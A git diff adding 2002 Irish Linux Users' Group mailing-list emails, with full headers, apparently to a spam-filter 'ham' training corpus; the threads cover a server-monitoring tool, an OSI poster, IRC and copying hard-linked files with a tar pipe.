ESMTP id QAA11457 for ; Fri, + 19 Jul 2002 16:04:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.75.2.27] claimed to + be mail.tradesignals.com +Received: from docaoimh.tradesignals.com (docaoimh.tradesignals.com + [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id + g6JF4Y111154 for ; Fri, 19 Jul 2002 16:04:34 +0100 +Received: from localhost (localhost [[UNIX: localhost]]) by + docaoimh.tradesignals.com (8.11.6/8.11.6) id g6JF4Zb21672 for + ilug@linux.ie; Fri, 19 Jul 2002 16:04:35 +0100 +Content-Type: text/plain; charset="us-ascii" +From: Donncha O Caoimh +To: ilug@linux.ie +Date: Fri, 19 Jul 2002 16:04:34 +0100 +X-Mailer: KMail [version 1.4] +MIME-Version: 1.0 +Message-Id: <200207191604.34890.donncha.ocaoimh@tradesignals.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + QAA11457 +Subject: [ILUG] app of the day - Spackle +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +http://spackle.xidus.net/info.php + +>>From the website: +"Spackle is designed to be a flexible client/server architecture for the +gathering and displaying of statistics, primarily suited to monitoring +servers. It's written in PHP and bash shell script, uses RRDtool for stats +logging, and PostgreSQL for the server-side database. (soon to support MySQL +as well)" + +I had this up and running within a few hours. The hardest bit was getting +PostgreSQL running as it's been a few years since I used it. I had a bit of a +problem getting it to work on rh6.2 boxes but I documented the changes here: +http://xeer.blogspot.com/?/2002_07_01_xeer_archive.html#79148596 + +Web interface is simple, but functional. It has a simple way of distributing +the monitoring scripts (which could be compromised but I digress), and the +resulting graphs are pretty! + +Donncha. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00064.f7d9a2689c23c6f36afca6225befe09b b/bayes/spamham/easy_ham_2/00064.f7d9a2689c23c6f36afca6225befe09b new file mode 100644 index 0000000..d1c7f3d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00064.f7d9a2689c23c6f36afca6225befe09b @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Fri Jul 19 16:13:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AAE0D440C9 + for ; Fri, 19 Jul 2002 11:13:14 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:13:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JFBCJ07539 for + ; Fri, 19 Jul 2002 16:11:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA11755; Fri, 19 Jul 2002 16:10:33 +0100 +Received: from lhidns.gov.ie ([193.1.228.222]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA11727 for ; Fri, + 19 Jul 2002 16:10:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.1.228.222] claimed to + be lhidns.gov.ie +Received: from gw.educ.irlgov.ie (educ-gw.gov.ie [192.168.6.1] (may be + forged)) by lhidns.gov.ie (8.9.3/8.9.3) with ESMTP id QAA25600 for + ; Fri, 19 Jul 2002 16:09:51 +0100 +Received: (from fwtk@localhost) by gw.educ.irlgov.ie (8.8.6/8.8.6) id + RAA04262 for ; Fri, 19 Jul 2002 17:29:21 +0100 (BST) +Received: from unknown(10.0.0.13) by gw.educ.irlgov.ie via smap (V2.0) id + xma004255; Fri, 19 Jul 02 17:29:18 +0100 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Subject: RE: [ILUG] OSI protocol +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Date: Fri, 19 Jul 2002 16:09:50 +0100 +Message-Id: <9C498074D5419A44B05349F5BF2C26301CFA3C@sdubtalex01.education.gov.ie> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [ILUG] OSI protocol +Thread-Index: AcIvMUWcPHFhWEzbQb2IY/9SQjTTswABPM0A +From: "Ryan, Shane" +To: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + QAA11727 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +I wasn't sure if that ever started up. +what irc server is #ilug on? + +Regards, +Shane + +-----Original Message----- +From: Niall O Broin [mailto:niall@linux.ie] +Sent: 19 July 2002 15:36 +To: ilug@linux.ie +Subject: [ILUG] OSI protocol + + +There's been some discussion just now on the ILUG IRC channel about OSI and +protocol layers. This reminded me of a poster produced by Wandel & +Goltermann (manufactureres of fine protocol decoders and testers) which +illustrates this admirably. The poster is in the form of a PDF file and to +be honest, is best appreciated if you have access to a HP DesignJet or +somesuch device. Wandel & Goltermann has now become/been taken over by +acterna and I couldn't find the poster there. However, it's available at +http://www.pb.bib.de/~dozloh/fachinfo/sdn_16/decodes.pdf and some of you ma +find it interesting. + +The top of the poster refers you to www.decodes.com for a more up to date +online copy of the poster. However, www.decodes.com now is redirected to the +aforementioned acterna and . . . . + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00065.2744d3fa721ba241e4a9024a1276c00e b/bayes/spamham/easy_ham_2/00065.2744d3fa721ba241e4a9024a1276c00e new file mode 100644 index 0000000..e36cb73 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00065.2744d3fa721ba241e4a9024a1276c00e @@ -0,0 +1,108 @@ +From ilug-admin@linux.ie Fri Jul 19 16:19:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0E270440C9 + for ; Fri, 19 Jul 2002 11:19:05 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:19:05 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JFIMJ08096 for + ; Fri, 19 Jul 2002 16:18:22 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12323; Fri, 19 Jul 2002 16:16:35 +0100 +Received: from linux.local ([195.218.108.192]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12284 for ; Fri, + 19 Jul 2002 16:16:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.192] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6JFFnX02981 for + ; Fri, 19 Jul 2002 16:15:49 +0100 +Message-Id: <200207191515.g6JFFnX02981@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] How to copy some files +In-Reply-To: Message from + "Matthew French" + of + "Fri, 19 Jul 2002 15:22:26 BST." + <003301c22f2f$b722ba30$3864a8c0@sabeo.ie> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <2978.1027091749.1@linux.local> +Date: Fri, 19 Jul 2002 16:15:49 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + QAA12284 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Fri, 19 Jul 2002 15:22:26 +0100 + | From: "Matthew French" + | + | Niall asked: + | > I have about 60G of data which I need to copy from one disk to + | > another. [ ... ] The problem is the bulk of the data [ ... ] + | > have two directory entries i.e. there is a hard link [ ... ] + | + | How about something like: + | + | cd {dest.dir} + | tar -C {source.dir} cf - | tar xf - + | + | tar cf - will pipe the tar file to stdout and tar xf - will untar it. This + | should keep permissions and links, and if you do it as root you will keep + | the owners too... :) + | + | Not tested, though. You may need other flags as well. + + the above (or something close to it) will work. + + however, the data will be read and written twice by the + 1st (source) `tar', and read twice by the 2nd (sink) `tar', + albeit only written once as the sink realizes the second + copy is a hard link to the first. with c.60Gb of data, + that will make a difference, at least in time and CPU + resource consumed (albeit, in this case, not storage). + + the issue here is tar(1) (and cpio(1)) archives always + contain the data for each name of a hard link. this is + (probably) for several reasons, and is not necessarily a + bad thing. e.g., it provides a degree of redundancy to + help cope with bad media. + + the source `tar' is creating an archive, which is being + written down the pipe (to be consumed by the sink `tar'). + that is why storage is not an issue per se here, as the + full archive is not "saved" --- if it were, you'd need + at least 2x60Gb, or over 120Gb! (the extra is `tar's + overhead, which is minimal but does add up, esp. when + a "large" blocking factor is used.) + +cheers! + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00066.d672dd2baf15f9098ec6f206f6c524ff b/bayes/spamham/easy_ham_2/00066.d672dd2baf15f9098ec6f206f6c524ff new file mode 100644 index 0000000..b2cb8f1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00066.d672dd2baf15f9098ec6f206f6c524ff @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Fri Jul 19 16:19:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9C13C440C8 + for ; Fri, 19 Jul 2002 11:19:04 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:19:04 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JFGgJ08019 for + ; Fri, 19 Jul 2002 16:16:42 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12249; Fri, 19 Jul 2002 16:16:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA12205 for ; + Fri, 19 Jul 2002 16:15:56 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id BA52C2B338 for ; + Fri, 19 Jul 2002 16:15:25 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2196) id AB655E95A; + Fri, 19 Jul 2002 16:15:25 +0100 (IST) +Date: Fri, 19 Jul 2002 16:15:25 +0100 +From: Stephen Shirley +To: ilug@linux.ie +Subject: Re: [ILUG] OSI protocol +Message-Id: <20020719151524.GA4437@skynet.ie> +Mail-Followup-To: ilug@linux.ie +References: <9C498074D5419A44B05349F5BF2C26301CFA3C@sdubtalex01.education.gov.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <9C498074D5419A44B05349F5BF2C26301CFA3C@sdubtalex01.education.gov.ie> +User-Agent: Mutt/1.3.24i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 04:09:50PM +0100, Ryan, Shane wrote: +> Hi, +> +> I wasn't sure if that ever started up. +> what irc server is #ilug on? +> + +#linux on irc.linux.ie + +Steve +-- +"Oh look, it's the Pigeon of Love." + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00067.98256b369aa90314ebc9999d2d00a713 b/bayes/spamham/easy_ham_2/00067.98256b369aa90314ebc9999d2d00a713 new file mode 100644 index 0000000..34976a9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00067.98256b369aa90314ebc9999d2d00a713 @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Fri Jul 19 17:14:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DFFF9440C9 + for ; Fri, 19 Jul 2002 12:14:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 17:14:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JGEGJ13178 for + ; Fri, 19 Jul 2002 17:14:16 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA14596; Fri, 19 Jul 2002 17:10:48 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp015.mail.yahoo.com (smtp015.mail.yahoo.com + [216.136.173.59]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id RAA14558 + for ; Fri, 19 Jul 2002 17:10:41 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 19 Jul 2002 16:10:38 + -0000 +Message-Id: <00a701c22f3e$51120b10$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Irish Linux Users Group" +References: <200207191515.g6JFFnX02981@linux.local> +Subject: Re: [ILUG] How to copy some files +Date: Fri, 19 Jul 2002 17:06:59 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Brian wrote: +> however, the data will be read and written twice by the +> 1st (source) `tar', and read twice by the 2nd (sink) `tar', +> albeit only written once as the sink realizes the second +> copy is a hard link to the first. + +Eh?!? Oh wait... + +Doh. Sorry, I automatically read 'soft' in front of 'links', despite all +evidence to the contrary. I thought the original question was a bit +strange... + +On that note: is there any real benefit to using hard links? I avoid them as +a rule, and cannot think of any good reason to use them at the moment. + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.comm + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00068.36bcd58f7826a1819b2188d4b35b9150 b/bayes/spamham/easy_ham_2/00068.36bcd58f7826a1819b2188d4b35b9150 new file mode 100644 index 0000000..0c5badc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00068.36bcd58f7826a1819b2188d4b35b9150 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Fri Jul 19 17:37:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E8598440C8 + for ; Fri, 19 Jul 2002 12:37:21 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 17:37:21 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JGZ8J14867 for + ; Fri, 19 Jul 2002 17:35:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA15508; Fri, 19 Jul 2002 17:33:59 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA15484 + for ; Fri, 19 Jul 2002 17:33:53 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts14-238.dublin.indigo.ie + [194.125.175.238]) by mail.magicgoeshere.com (Postfix) with ESMTP id + CA3E3F8E3 for ; Fri, 19 Jul 2002 17:18:46 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + 307703C0FC; Fri, 19 Jul 2002 17:28:40 +0100 (IST) +Date: Fri, 19 Jul 2002 17:28:40 +0100 +From: Niall O Broin +To: Irish Linux Users Group +Subject: Re: [ILUG] How to copy some files +Message-Id: <20020719162840.GA3325@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , + Irish Linux Users Group +References: <200207191515.g6JFFnX02981@linux.local> + <00a701c22f3e$51120b10$3864a8c0@sabeo.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <00a701c22f3e$51120b10$3864a8c0@sabeo.ie> +User-Agent: Mutt/1.3.27i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 05:06:59PM +0100, Matthew French wrote: + +> On that note: is there any real benefit to using hard links? I avoid them as +> a rule, and cannot think of any good reason to use them at the moment. + +There are lots of benefits to using hard links, for all sorts of reasons. In +this case, they are being used to provide two quite different namespaces +for the same set of files. + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00069.b5fc05616a7e6b1b9ca30e5d8888392e b/bayes/spamham/easy_ham_2/00069.b5fc05616a7e6b1b9ca30e5d8888392e new file mode 100644 index 0000000..0e58309 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00069.b5fc05616a7e6b1b9ca30e5d8888392e @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Fri Jul 19 18:33:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EDE72440C8 + for ; Fri, 19 Jul 2002 13:33:23 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 18:33:23 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JHUqJ19009 for + ; Fri, 19 Jul 2002 18:30:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA23681; Fri, 19 Jul 2002 18:30:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail01.svc.cra.dublin.eircom.net + (mail01.svc.cra.dublin.eircom.net [159.134.118.17]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id SAA23654 for ; Fri, + 19 Jul 2002 18:30:22 +0100 +Message-Id: <200207191730.SAA23654@lugh.tuatha.org> +Received: (qmail 61897 messnum 162506 invoked from + network[159.134.159.212/p468.as1.drogheda1.eircom.net]); 19 Jul 2002 + 17:29:51 -0000 +Received: from p468.as1.drogheda1.eircom.net (HELO there) + (159.134.159.212) by mail01.svc.cra.dublin.eircom.net (qp 61897) with SMTP; + 19 Jul 2002 17:29:51 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: John Gay +To: ilug@linux.ie +Subject: Re: [ILUG] CVS question? +Date: Thu, 18 Jul 2002 23:13:24 +0100 +X-Mailer: KMail [version 1.3.2] +References: <200207172008.VAA08579@lugh.tuatha.org> + <15669.54302.782580.434395@klortho.waider.ie> +In-Reply-To: <15669.54302.782580.434395@klortho.waider.ie> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Well, as many have said, it's non-trivial and not smart enough. + +I did try just cvs'ing over the existing sources, but cvs complained that my +files were in the way. + +Then I thought that I'd only need the DRI stuff, that took about 1.5 hours to +fetch 116M. Unfortunately I still need the XFree86 cvs stuff as well :-( At +339M that took almost 3 hours. + +Now I can start building the XFree86 cvs and DRI cvs stuff for testing the 3D +patches for my GVX1 card. I just hope I don't completely trash my system in +the process. + +Think I'll wait until morning to start building, though. I've been building a +new box from source this week. A 200Mhz PentiumMMX with 96M. It took a full +day to build XFree86 4.2.0 and 2.5 days each to build qtlibs and kdelibs. +kdebase took just under 46 hours. I've got lots of grief from the wife for +the computer running 'round the clock this week. The rest of KDE should build +in under 20 hour increments. + +Cheers, + + John Gay + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00070.5ca9b5a86fbf5f011514bbb4e4a951ff b/bayes/spamham/easy_ham_2/00070.5ca9b5a86fbf5f011514bbb4e4a951ff new file mode 100644 index 0000000..ec53f64 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00070.5ca9b5a86fbf5f011514bbb4e4a951ff @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Fri Jul 19 18:33:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B8970440C9 + for ; Fri, 19 Jul 2002 13:33:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 18:33:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JHVfJ19051 for + ; Fri, 19 Jul 2002 18:31:41 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA22739; Fri, 19 Jul 2002 18:10:53 +0100 +Received: from marklar.elive.net (smtp.elive.ie [212.120.138.41]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA22715 for ; + Fri, 19 Jul 2002 18:10:48 +0100 +Received: from gonzo.waider.ie + (IDENT:8rQlPXWuJKuu3dmQqyedgkXDs573N75B@1Cust219.tnt1.dub2.ie.uudial.net + [213.116.40.219]) by marklar.elive.net (8.11.6/8.11.6) with ESMTP id + g6JGkuj09232 for ; Fri, 19 Jul 2002 17:47:01 +0100 +Received: from klortho.waider.ie + (IDENT:fqZjcglU1vS7HxIilFH5W/XbUYkOuyja@klortho.waider.ie [10.0.0.100]) by + gonzo.waider.ie (8.11.6/8.11.6) with ESMTP id g6JHAat28586 for + ; Fri, 19 Jul 2002 18:10:36 +0100 +Received: (from waider@localhost) by klortho.waider.ie (8.11.6/8.11.6) id + g6JHAe711032; Fri, 19 Jul 2002 18:10:40 +0100 +X-Authentication-Warning: klortho.waider.ie: waider set sender to + waider@waider.ie using -f +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Message-Id: <15672.18448.462171.646227@klortho.waider.ie> +Date: Fri, 19 Jul 2002 18:10:40 +0100 +From: Ronan Waide +To: ilug@linux.ie +Subject: Re: [ILUG] How to copy some files +In-Reply-To: <20020719162840.GA3325@bagend.makalumedia.com> +References: <200207191515.g6JFFnX02981@linux.local> + <00a701c22f3e$51120b10$3864a8c0@sabeo.ie> + <20020719162840.GA3325@bagend.makalumedia.com> +X-Mailer: VM 7.07 under Emacs 21.2.1 +Organization: poor at best. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On July 19, niall@linux.ie said: +> +> There are lots of benefits to using hard links, for all sorts of reasons. In + +"...but there is insufficient room in the margin of this email to + describe them..." :) + +> this case, they are being used to provide two quite different namespaces +> for the same set of files. + +Sure, but soft links would do the same. To be honest, I'm trying to +think of a useful use of hard links right now, and I'm a little +stumped. There's gotta be some benefit that I'm missing that's +immediately obvious to everyone. + +Cheers, +Waider. +-- +waider@waider.ie / Yes, it /is/ very personal of me. + +merde says, "in other news, our mini-blimp blew away." + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00071.feb4bca3576707de8f2e8a3c5d22f106 b/bayes/spamham/easy_ham_2/00071.feb4bca3576707de8f2e8a3c5d22f106 new file mode 100644 index 0000000..4edb7c1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00071.feb4bca3576707de8f2e8a3c5d22f106 @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Fri Jul 19 20:58:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7EED2440C8 + for ; Fri, 19 Jul 2002 15:58:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 20:58:00 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JJvSJ30546 for + ; Fri, 19 Jul 2002 20:57:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA28485; Fri, 19 Jul 2002 20:48:47 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA28456 for + ; Fri, 19 Jul 2002 20:48:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from localhost (claymore [195.218.115.17]) by claymore.diva.ie + (8.9.3/8.9.3) with ESMTP id UAA24846 for ; Fri, + 19 Jul 2002 20:48:40 +0100 +Received: from 194.125.134.71 ( [194.125.134.71]) as user + rcunniff@mail.boxhost.net by webmail.gameshrine.com with HTTP; + Fri, 19 Jul 2002 20:48:40 +0100 +Message-Id: <1027108120.3d386d180910a@webmail.gameshrine.com> +Date: Fri, 19 Jul 2002 20:48:40 +0100 +From: Ronan Cunniffe +To: ilug@linux.ie +Subject: Re: [ILUG] How to copy some files +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-15 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.0 +X-Originating-Ip: 194.125.134.71 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Ronan Waide : + +> Sure, but soft links would do the same. To be honest, I'm trying to +> think of a useful use of hard links right now, and I'm a little +> stumped. There's gotta be some benefit that I'm missing that's +> immediately obvious to everyone. + +Using Niall's example - single set of files but >1 namespace, and suppose that +you want to delete some items from the set according to rules applied 